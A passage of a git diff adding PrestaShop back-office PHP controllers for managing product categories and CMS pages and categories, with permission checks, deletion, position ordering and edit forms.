'delete') + $this->errors[] = Tools::displayError('Unknown delete mode:'.' '.$this->deleted); + + } + + protected function processBulkDelete() + { + if ($this->tabAccess['delete'] === '1') + { + $cats_ids = array(); + foreach (Tools::getValue($this->table.'Box') as $id_category) + { + $category = new Category((int)$id_category); + if (!$category->isRootCategoryForAShop()) + $cats_ids[$category->id] = $category->id_parent; + } + + if (parent::processBulkDelete()) + { + $this->setDeleteMode(); + foreach ($cats_ids as $id => $id_parent) + $this->processFatherlessProducts((int)$id_parent); + return true; + } + else + return false; + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + public function processDelete() + { + $category = $this->loadObject(); + if ($this->tabAccess['delete'] === '1') + { + if ($category->isRootCategoryForAShop()) + $this->errors[] = Tools::displayError('You cannot remove this category because one of your shops uses it as a root category.'); + else if (parent::processDelete()) + { + $this->setDeleteMode(); + $this->processFatherlessProducts((int)$category->id_parent); + return true; + } + else + return false; + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + public function processFatherlessProducts($id_parent) + { + /* Delete or link products which were not in others categories */ + $fatherless_products = Db::getInstance()->executeS(' + SELECT p.`id_product` FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE p.`id_product` NOT IN (SELECT DISTINCT(cp.`id_product`) FROM `'._DB_PREFIX_.'category_product` cp)'); + + foreach ($fatherless_products as $id_poor_product) + { + $poor_product = new Product((int)$id_poor_product['id_product']); + if (Validate::isLoadedObject($poor_product)) + { + if ($this->remove_products || $id_parent == 0) + $poor_product->delete(); + else + { + if ($this->disable_products) + $poor_product->active = 0; + $poor_product->id_category_default = (int)$id_parent; + $poor_product->addToCategories((int)$id_parent); + $poor_product->save(); + } + } + } + } + + public function processPosition() + { + if ($this->tabAccess['edit'] !== '1') + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + else if (!Validate::isLoadedObject($object = new Category((int)Tools::getValue($this->identifier, Tools::getValue('id_category_to_move', 1))))) + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' <b>'. + $this->table.'</b> '.Tools::displayError('(cannot load object)'); + if (!$object->updatePosition((int)Tools::getValue('way'), (int)Tools::getValue('position'))) + $this->errors[] = Tools::displayError('Failed to update the position.'); + else + { + $object->regenerateEntireNtree(); + Tools::redirectAdmin(self::$currentIndex.'&'.$this->table.'Orderby=position&'.$this->table.'Orderway=asc&conf=5'.(($id_category = (int)Tools::getValue($this->identifier, Tools::getValue('id_category_parent', 1))) ? ('&'.$this->identifier.'='.$id_category) : '').'&token='.Tools::getAdminTokenLite('AdminCategories')); + } + } + + protected function postImage($id) + { + $ret = parent::postImage($id); + if (($id_category = (int)Tools::getValue('id_category')) && + isset($_FILES) && count($_FILES) && $_FILES['image']['name'] != null && + file_exists(_PS_CAT_IMG_DIR_.$id_category.'.jpg')) + { + $images_types = ImageType::getImagesTypes('categories'); + foreach ($images_types as $k => $image_type) + { + ImageManager::resize( + _PS_CAT_IMG_DIR_.$id_category.'.jpg', + _PS_CAT_IMG_DIR_.$id_category.'-'.stripslashes($image_type['name']).'.jpg', + (int)$image_type['width'], (int)$image_type['height'] + ); + } + } + + return $ret; + } + + /** + * Allows to display the category description without HTML tags and slashes + * + * @return string + */ + public static function getDescriptionClean($description) + { + return strip_tags(stripslashes($description)); + } + + public function ajaxProcessUpdatePositions() + { + $id_category_to_move = (int)(Tools::getValue('id_category_to_move')); + $id_category_parent = (int)(Tools::getValue('id_category_parent')); + $way = (int)(Tools::getValue('way')); + $positions = Tools::getValue('category'); + if (is_array($positions)) + foreach ($positions as $key => $value) + { + $pos = explode('_', $value); + if ((isset($pos[1]) && isset($pos[2])) && ($pos[1] == $id_category_parent && $pos[2] == $id_category_to_move)) + { + $position = $key + 1; + break; + } + } + + $category = new Category($id_category_to_move); + if (Validate::isLoadedObject($category)) + { + if (isset($position) && $category->updatePosition($way, $position)) + { + Hook::exec('actionCategoryUpdate'); + die(true); + } + else + die('{"hasError" : true, errors : "Can not update categories position"}'); + } + else + die('{"hasError" : true, "errors" : "This category can not be loaded"}'); + } +} + diff --git a/controllers/admin/AdminCmsCategoriesController.php b/controllers/admin/AdminCmsCategoriesController.php new file mode 100755 index 0000000..d973f22 --- /dev/null +++ b/controllers/admin/AdminCmsCategoriesController.php @@ -0,0 +1,312 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCmsCategoriesControllerCore extends AdminController +{ + /** @var object CMSCategory() instance for navigation*/ + protected $cms_category; + + protected $position_identifier = 'id_cms_category_to_move'; + + public function __construct() + { + $this->is_cms = true; + $this->table = 'cms_category'; + $this->className = 'CMSCategory'; + $this->lang = true; + $this->addRowAction('view'); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_cms_category' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 30), + 'name' => array('title' => $this->l('Name'), 'width' => 'auto', 'callback' => 'hideCMSCategoryPosition', 'callback_object' => 'CMSCategory'), + 'description' => array('title' => $this->l('Description'), 'width' => 500, 'maxlength' => 90, 'orderby' => false), + 'position' => array('title' => $this->l('Position'), 'width' => 40,'filter_key' => 'position', 'align' => 'center', 'position' => 'position'), + 'active' => array( + 'title' => $this->l('Displayed'), 'width' => 25, 'active' => 'status', + 'align' => 'center','type' => 'bool', 'orderby' => false + )); + + // The controller can't be call directly + // In this case, AdminCmsContentController::getCurrentCMSCategory() is null + if (!AdminCmsContentController::getCurrentCMSCategory()) + { + $this->redirect_after = '?controller=AdminCmsContent&token='.Tools::getAdminTokenLite('AdminCmsContent'); + $this->redirect(); + } + + $this->cms_category = AdminCmsContentController::getCurrentCMSCategory(); + $this->_filter = 'AND `id_parent` = '.(int)$this->cms_category->id; + $this->_select = 'position '; + + parent::__construct(); + } + + public function renderList() + { + $this->initToolbar(); + $this->toolbar_btn['new']['href'] .= '&id_parent='.(int)Tools::getValue('id_cms_category'); + return parent::renderList(); + } + + /** + * Modifying initial getList method to display position feature (drag and drop) + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + if ($order_by && $this->context->cookie->__get($this->table.'Orderby')) + $order_by = $this->context->cookie->__get($this->table.'Orderby'); + else + $order_by = 'position'; + + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + } + + public function postProcess() + { + $this->tabAccess = Profile::getProfileAccess($this->context->employee->id_profile, $this->id); + if (Tools::isSubmit('submitAdd'.$this->table)) + { + $this->action = 'save'; + if ($id_cms_category = (int)Tools::getValue('id_cms_category')) + { + $this->id_object = $id_cms_category; + if (!CMSCategory::checkBeforeMove($id_cms_category, (int)Tools::getValue('id_parent'))) + { + $this->errors[] = Tools::displayError('The CMS Category cannot be moved here.'); + return false; + } + } + $object = parent::postProcess(); + if ($object !== false) + Tools::redirectAdmin(self::$currentIndex.'&conf=3&id_cms_category='.(int)$object->id.'&token='.Tools::getValue('token')); + return $object; + } + /* Change object statuts (active, inactive) */ + elseif (Tools::isSubmit('statuscms_category') && Tools::getValue($this->identifier)) + { + if ($this->tabAccess['edit'] === '1') + { + if (Validate::isLoadedObject($object = $this->loadObject())) + { + if ($object->toggleStatus()) + { + $identifier = ((int)$object->id_parent ? '&id_cms_category='.(int)$object->id_parent : ''); + Tools::redirectAdmin(self::$currentIndex.'&conf=5'.$identifier.'&token='.Tools::getValue('token')); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the status.'); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.') + .' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + /* Delete object */ + elseif (Tools::isSubmit('delete'.$this->table)) + { + if ($this->tabAccess['delete'] === '1') + { + if (Validate::isLoadedObject($object = $this->loadObject()) && isset($this->fieldImageSettings)) + { + // check if request at least one object with noZeroObject + if (isset($object->noZeroObject) && count($taxes = call_user_func(array($this->className, $object->noZeroObject))) <= 1) + $this->errors[] = Tools::displayError('You need at least one object.') + .' <b>'.$this->table.'</b><br />'.Tools::displayError('You cannot delete all of the items.'); + else + { + $identifier = ((int)$object->id_parent ? '&'.$this->identifier.'='.(int)$object->id_parent : ''); + if ($this->deleted) + { + $object->deleted = 1; + if ($object->update()) + Tools::redirectAdmin(self::$currentIndex.'&conf=1&token='.Tools::getValue('token').$identifier); + } + elseif ($object->delete()) + Tools::redirectAdmin(self::$currentIndex.'&conf=1&token='.Tools::getValue('token').$identifier); + $this->errors[] = Tools::displayError('An error occurred during deletion.'); + } + } + else + $this->errors[] = Tools::displayError('An error occurred while deleting the object.') + .' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + elseif (Tools::isSubmit('position')) + { + $object = new CMSCategory((int)Tools::getValue($this->identifier, Tools::getValue('id_cms_category_to_move', 1))); + if ($this->tabAccess['edit'] !== '1') + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + elseif (!Validate::isLoadedObject($object)) + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.') + .' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + elseif (!$object->updatePosition((int)Tools::getValue('way'), (int)Tools::getValue('position'))) + $this->errors[] = Tools::displayError('Failed to update the position.'); + else + { + $identifier = ((int)$object->id_parent ? '&'.$this->identifier.'='.(int)$object->id_parent : ''); + $token = Tools::getAdminTokenLite('AdminCmsContent'); + Tools::redirectAdmin( + self::$currentIndex.'&'.$this->table.'Orderby=position&'.$this->table.'Orderway=asc&conf=5'.$identifier.'&token='.$token + ); + } + } + /* Delete multiple objects */ + elseif (Tools::getValue('submitDel'.$this->table) || Tools::getValue('submitBulkdelete'.$this->table)) + { + if ($this->tabAccess['delete'] === '1') + { + if (Tools::isSubmit($this->table.'Box')) + { + $cms_category = new CMSCategory(); + $result = true; + $result = $cms_category->deleteSelection(Tools::getValue($this->table.'Box')); + if ($result) + { + $cms_category->cleanPositions((int)Tools::getValue('id_cms_category')); + $token = Tools::getAdminTokenLite('AdminCmsContent'); + Tools::redirectAdmin(self::$currentIndex.'&conf=2&token='.$token.'&id_cms_category='.(int)Tools::getValue('id_cms_category')); + } + $this->errors[] = Tools::displayError('An error occurred while deleting this selection.'); + + } + else + $this->errors[] = Tools::displayError('You must select at least one element to delete.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + parent::postProcess(); + } + + public function renderForm() + { + $this->display = 'edit'; + $this->initToolbar(); + if (!$this->loadObject(true)) + return; + + $categories = CMSCategory::getCategories($this->context->language->id, false); + $html_categories = CMSCategory::recurseCMSCategory($categories, $categories[0][1], 1, $this->getFieldValue($this->object, 'id_parent'), 1); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('CMS Category'), + 'image' => '../img/admin/tab-categories.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'required' => true, + 'lang' => true, + 'class' => 'copy2friendlyUrl', + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'radio', + 'label' => $this->l('Displayed:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + ), + // custom template + array( + 'type' => 'select_category', + 'label' => $this->l('Parent CMS Category:'), + 'name' => 'id_parent', + 'options' => array( + 'html' => $html_categories, + ), + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description:'), + 'name' => 'description', + 'lang' => true, + 'rows' => 5, + 'cols' => 40, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta title:'), + 'name' => 'meta_title', + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta description:'), + 'name' => 'meta_description', + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta keywords:'), + 'name' => 'meta_keywords', + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Friendly URL:'), + 'name' => 'link_rewrite', + 'required' => true, + 'lang' => true, + 'hint' => $this->l('Only letters and the minus (-) character are allowed.') + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + $this->tpl_form_vars['PS_ALLOW_ACCENTED_CHARS_URL'] = (int)Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL'); + return parent::renderForm(); + } +} diff --git a/controllers/admin/AdminCmsContentController.php b/controllers/admin/AdminCmsContentController.php new file mode 100755 index 0000000..59c5bec --- /dev/null +++ b/controllers/admin/AdminCmsContentController.php @@ -0,0 +1,249 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCmsContentControllerCore extends AdminController +{ + /** @var object adminCMSCategories() instance */ + protected $admin_cms_categories; + + /** @var object adminCMS() instance */ + protected $admin_cms; + + /** @var object Category() instance for navigation*/ + protected static $category = null; + + public function __construct() + { + /* Get current category */ + $id_cms_category = (int)Tools::getValue('id_cms_category', Tools::getValue('id_cms_category_parent', 1)); + self::$category = new CMSCategory($id_cms_category); + if (!Validate::isLoadedObject(self::$category)) + die('Category cannot be loaded'); + + $this->table = 'cms'; + $this->className = 'CMS'; + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + $this->admin_cms_categories = new AdminCmsCategoriesController(); + $this->admin_cms = new AdminCmsController(); + + parent::__construct(); + } + + /** + * Return current category + * + * @return object + */ + public static function getCurrentCMSCategory() + { + return self::$category; + } + + public function viewAccess($disable = false) + { + $result = parent::viewAccess($disable); + $this->admin_cms_categories->tabAccess = $this->tabAccess; + $this->admin_cms->tabAccess = $this->tabAccess; + return $result; + } + + public function initContent() + { + $this->admin_cms_categories->token = $this->token; + $this->admin_cms->token = $this->token; + + if ($this->display == 'edit_category') + $this->content .= $this->admin_cms_categories->renderForm(); + else if ($this->display == 'edit_page') + $this->content .= $this->admin_cms->renderForm(); + else if ($this->display == 'view_page') + $fixme = 'fixme';// @FIXME + else + { + $id_cms_category = (int)Tools::getValue('id_cms_category'); + if (!$id_cms_category) + $id_cms_category = 1; + + // CMS categories breadcrumb + $cms_tabs = array('cms_category', 'cms'); + // Cleaning links + $cat_bar_index = self::$currentIndex; + foreach ($cms_tabs as $tab) + if (Tools::getValue($tab.'Orderby') && Tools::getValue($tab.'Orderway')) + $cat_bar_index = preg_replace('/&'.$tab.'Orderby=([a-z _]*)&'.$tab.'Orderway=([a-z]*)/i', '', self::$currentIndex); + + $this->content .= $this->admin_cms_categories->renderList(); + $this->admin_cms->id_cms_category = $id_cms_category; + $this->content .= $this->admin_cms->renderList(); + $this->context->smarty->assign(array( + 'cms_breadcrumb' => getPath($cat_bar_index, $id_cms_category, '', '', 'cms'), + )); + } + + $this->context->smarty->assign(array( + 'content' => $this->content + )); + } + + public function postProcess() + { + if (Tools::isSubmit('submitDelcms') + || Tools::isSubmit('previewSubmitAddcmsAndPreview') + || Tools::isSubmit('submitAddcms') + || Tools::isSubmit('submitBulkdeletecms') + || Tools::isSubmit('deletecms') + || Tools::isSubmit('viewcms') + || (Tools::isSubmit('statuscms') && Tools::isSubmit('id_cms')) + || (Tools::isSubmit('way') && Tools::isSubmit('id_cms')) && (Tools::isSubmit('position'))) + $this->admin_cms->postProcess(); + elseif (Tools::isSubmit('submitDelcms_category') + || Tools::isSubmit('submitAddcms_categoryAndBackToParent') + || Tools::isSubmit('submitBulkdeletecms_category') + || Tools::isSubmit('submitAddcms_category') + || Tools::isSubmit('deletecms_category') + || (Tools::isSubmit('statuscms_category') && Tools::isSubmit('id_cms_category')) + || (Tools::isSubmit('position') && Tools::isSubmit('id_cms_category_to_move'))) + $this->admin_cms_categories->postProcess(); + else + parent::postProcess(); + + if (((Tools::isSubmit('submitAddcms_category') || Tools::isSubmit('submitAddcms_categoryAndStay')) && count($this->admin_cms_categories->errors)) + || Tools::isSubmit('updatecms_category') + || Tools::isSubmit('addcms_category')) + $this->display = 'edit_category'; + else if (((Tools::isSubmit('submitAddcms') || Tools::isSubmit('submitAddcmsAndStay')) && count($this->admin_cms->errors)) + || Tools::isSubmit('updatecms') + || Tools::isSubmit('addcms')) + $this->display = 'edit_page'; + else + { + $this->display = 'list'; + $this->id_cms_category = (int)Tools::getValue('id_cms_category'); + } + + if (isset($this->admin_cms->errors)) + $this->errors = array_merge($this->errors, $this->admin_cms->errors); + + if (isset($this->admin_cms_categories->errors)) + $this->errors = array_merge($this->errors, $this->admin_cms_categories->errors); + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryUi('ui.widget'); + $this->addJqueryPlugin('tagify'); + } + + public function ajaxProcessUpdateCmsPositions() + { + if ($this->tabAccess['edit'] === '1') + { + $id_cms = (int)Tools::getValue('id_cms'); + $id_category = (int)Tools::getValue('id_cms_category'); + $way = (int)Tools::getValue('way'); + $positions = Tools::getValue('cms'); + if (is_array($positions)) + foreach ($positions as $key => $value) + { + $pos = explode('_', $value); + if ((isset($pos[1]) && isset($pos[2])) && ($pos[1] == $id_category && $pos[2] == $id_cms)) + { + $position = $key; + break; + } + } + $cms = new CMS($id_cms); + if (Validate::isLoadedObject($cms)) + { + if (isset($position) && $cms->updatePosition($way, $position)) + die(true); + else + die('{"hasError" : true, "errors" : "Can not update cms position"}'); + } + else + die('{"hasError" : true, "errors" : "This cms can not be loaded"}'); + } + } + + public function ajaxProcessUpdateCmsCategoriesPositions() + { + if ($this->tabAccess['edit'] === '1') + { + $id_cms_category_to_move = (int)Tools::getValue('id_cms_category_to_move'); + $id_cms_category_parent = (int)Tools::getValue('id_cms_category_parent'); + $way = (int)Tools::getValue('way'); + $positions = Tools::getValue('cms_category'); + if (is_array($positions)) + foreach ($positions as $key => $value) + { + $pos = explode('_', $value); + if ((isset($pos[1]) && isset($pos[2])) && ($pos[1] == $id_cms_category_parent && $pos[2] == $id_cms_category_to_move)) + { + $position = $key; + break; + } + } + $cms_category = new CMSCategory($id_cms_category_to_move); + if (Validate::isLoadedObject($cms_category)) + { + if (isset($position) && $cms_category->updatePosition($way, $position)) + die(true); + else + die('{"hasError" : true, "errors" : "Can not update cms categories position"}'); + } + else + die('{"hasError" : true, "errors" : "This cms category can not be loaded"}'); + } + } + + public function ajaxProcessPublishCMS() + { + if ($this->tabAccess['edit'] === '1') + { + if ($id_cms = (int)Tools::getValue('id_cms')) + { + $bo_cms_url = dirname($_SERVER['PHP_SELF']).'/index.php?tab=AdminCmsContent&id_cms='.(int)$id_cms.'&updatecms&token='.$this->token; + + if (Tools::getValue('redirect')) + die($bo_cms_url); + + $cms = new CMS((int)(Tools::getValue('id_cms'))); + if (!Validate::isLoadedObject($cms)) + die('error: invalid id'); + + $cms->active = 1; + if ($cms->save()) + die($bo_cms_url); + else + die('error: saving'); + } + else + die ('error: parameters'); + } + } + +} diff --git a/controllers/admin/AdminCmsController.php b/controllers/admin/AdminCmsController.php new file mode 100755 index 0000000..71497c5 --- /dev/null +++ b/controllers/admin/AdminCmsController.php @@ -0,0 +1,385 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCmsControllerCore extends AdminController +{ + protected $category; + + public $id_cms_category; + + protected $position_identifier = 'id_cms'; + + public function __construct() + { + $this->table = 'cms'; + $this->className = 'CMS'; + $this->lang = true; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_cms' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'link_rewrite' => array('title' => $this->l('URL'), 'width' => 'auto'), + 'meta_title' => array('title' => $this->l('Title'), 'width' => '300', 'filter_key' => 'b!meta_title'), + 'position' => array('title' => $this->l('Position'), 'width' => 40,'filter_key' => 'position', 'align' => 'center', 'position' => 'position'), + 'active' => array('title' => $this->l('Displayed'), 'width' => 25, 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false) + ); + + // The controller can't be call directly + // In this case, AdminCmsContentController::getCurrentCMSCategory() is null + if (!AdminCmsContentController::getCurrentCMSCategory()) + { + $this->redirect_after = '?controller=AdminCmsContent&token='.Tools::getAdminTokenLite('AdminCmsContent'); + $this->redirect(); + } + + $this->_category = AdminCmsContentController::getCurrentCMSCategory(); + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'cms_category` c ON (c.`id_cms_category` = a.`id_cms_category`)'; + $this->_select = 'a.position '; + $this->_filter = 'AND c.id_cms_category = '.(int)$this->_category->id; + + parent::__construct(); + } + + public function renderForm() + { + if (!$this->loadObject(true)) + return; + + if (Validate::isLoadedObject($this->object)) + $this->display = 'edit'; + else + $this->display = 'add'; + + $this->toolbar_btn['save-and-preview'] = array( + 'href' => '#', + 'desc' => $this->l('Save and preview') + ); + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save and stay'), + ); + $this->initToolbar(); + + $categories = CMSCategory::getCategories($this->context->language->id, false); + $html_categories = CMSCategory::recurseCMSCategory($categories, $categories[0][1], 1, $this->getFieldValue($this->object, 'id_cms_category'), 1); + + $this->fields_form = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('CMS Page'), + 'image' => '../img/admin/tab-categories.gif' + ), + 'input' => array( + // custom template + array( + 'type' => 'select_category', + 'label' => $this->l('CMS Category'), + 'name' => 'id_cms_category', + 'options' => array( + 'html' => $html_categories, + ), + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta title:'), + 'name' => 'meta_title', + 'id' => 'name', // for copy2friendlyUrl compatibility + 'lang' => true, + 'required' => true, + 'class' => 'copy2friendlyUrl', + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'size' => 50 + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta description'), + 'name' => 'meta_description', + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'size' => 70 + ), + array( + 'type' => 'tags', + 'label' => $this->l('Meta keywords'), + 'name' => 'meta_keywords', + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'size' => 70, + 'desc' => $this->l('To add "tags" click in the field, write something, and then press "Enter."') + ), + array( + 'type' => 'text', + 'label' => $this->l('Friendly URL'), + 'name' => 'link_rewrite', + 'required' => true, + 'lang' => true, + 'hint' => $this->l('Only letters and the minus (-) character are allowed') + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Page content'), + 'name' => 'content', + 'autoload_rte' => true, + 'lang' => true, + 'rows' => 5, + 'cols' => 40, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'radio', + 'label' => $this->l('Displayed:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->tpl_form_vars = array( + 'active' => $this->object->active, + 'PS_ALLOW_ACCENTED_CHARS_URL', (int)Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL') + ); + return parent::renderForm(); + } + + public function renderList() + { + $this->toolbar_title = $this->l('Pages in this category'); + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'&id_cms_category='.(int)$this->id_cms_category.'&token='.$this->token, + 'desc' => $this->l('Add new') + ); + + return parent::renderList(); + } + + public function displayList($token = null) + { + /* Display list header (filtering, pagination and column names) */ + $this->displayListHeader($token); + if (!count($this->_list)) + echo '<tr><td class="center" colspan="'.(count($this->fields_list) + 2).'">'.$this->l('No items found').'</td></tr>'; + + /* Show the content of the table */ + $this->displayListContent($token); + + /* Close list table and submit button */ + $this->displayListFooter($token); + } + + public function postProcess() + { + if (Tools::isSubmit($this->table.'Orderby') || Tools::isSubmit($this->table.'Orderway')) + $this->filter = true; + + if (Tools::isSubmit('viewcms') && ($id_cms = (int)Tools::getValue('id_cms')) && ($cms = new CMS($id_cms, $this->context->language->id)) && Validate::isLoadedObject($cms)) + { + $redir = $this->context->link->getCMSLink($cms); + if (!$cms->active) + { + $admin_dir = dirname($_SERVER['PHP_SELF']); + $admin_dir = substr($admin_dir, strrpos($admin_dir, '/') + 1); + $redir .= '?adtoken='.Tools::getAdminTokenLite('AdminCmsContent').'&ad='.$admin_dir.'&id_employee='.(int)$this->context->employee->id; + } + Tools::redirectAdmin($redir); + } + elseif (Tools::isSubmit('deletecms')) + { + if (Tools::getValue('id_cms') == Configuration::get('PS_CONDITIONS_CMS_ID')) + { + Configuration::updateValue('PS_CONDITIONS', 0); + Configuration::updateValue('PS_CONDITIONS_CMS_ID', 0); + } + $cms = new CMS((int)Tools::getValue('id_cms')); + $cms->cleanPositions($cms->id_cms_category); + if (!$cms->delete()) + $this->errors[] = Tools::displayError('An error occurred while deleting the object.') + .' <b>'.$this->table.' ('.Db::getInstance()->getMsgError().')</b>'; + else + Tools::redirectAdmin(self::$currentIndex.'&id_cms_category='.$cms->id_cms_category.'&conf=1&token='.Tools::getAdminTokenLite('AdminCmsContent')); + }/* Delete multiple objects */ + elseif (Tools::getValue('submitDel'.$this->table)) + { + if ($this->tabAccess['delete'] === '1') + { + if (Tools::isSubmit($this->table.'Box')) + { + $cms = new CMS(); + $result = true; + $result = $cms->deleteSelection(Tools::getValue($this->table.'Box')); + if ($result) + { + $cms->cleanPositions((int)Tools::getValue('id_cms_category')); + $token = Tools::getAdminTokenLite('AdminCmsContent'); + Tools::redirectAdmin(self::$currentIndex.'&conf=2&token='.$token.'&id_cms_category='.(int)Tools::getValue('id_cms_category')); + } + $this->errors[] = Tools::displayError('An error occurred while deleting this selection.'); + + } + else + $this->errors[] = Tools::displayError('You must select at least one element to delete.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + elseif (Tools::isSubmit('submitAddcms') || Tools::isSubmit('submitAddcmsAndPreview')) + { + parent::validateRules(); + if (count($this->errors)) + return false; + if (!$id_cms = (int)Tools::getValue('id_cms')) + { + $cms = new CMS(); + $this->copyFromPost($cms, 'cms'); + if (!$cms->add()) + $this->errors[] = Tools::displayError('An error occurred while creating an object.') + .' <b>'.$this->table.' ('.Db::getInstance()->getMsgError().')</b>'; + else + $this->updateAssoShop($cms->id); + } + else + { + $cms = new CMS($id_cms); + $this->copyFromPost($cms, 'cms'); + if (!$cms->update()) + $this->errors[] = Tools::displayError('An error occurred while updating an object.') + .' <b>'.$this->table.' ('.Db::getInstance()->getMsgError().')</b>'; + else + $this->updateAssoShop($cms->id); + } + if (Tools::isSubmit('submitAddcmsAndPreview')) + { + $alias = $this->getFieldValue($cms, 'link_rewrite', $this->context->language->id); + $preview_url = $this->context->link->getCMSLink($cms, $alias, $this->context->language->id); + + if (!$cms->active) + { + 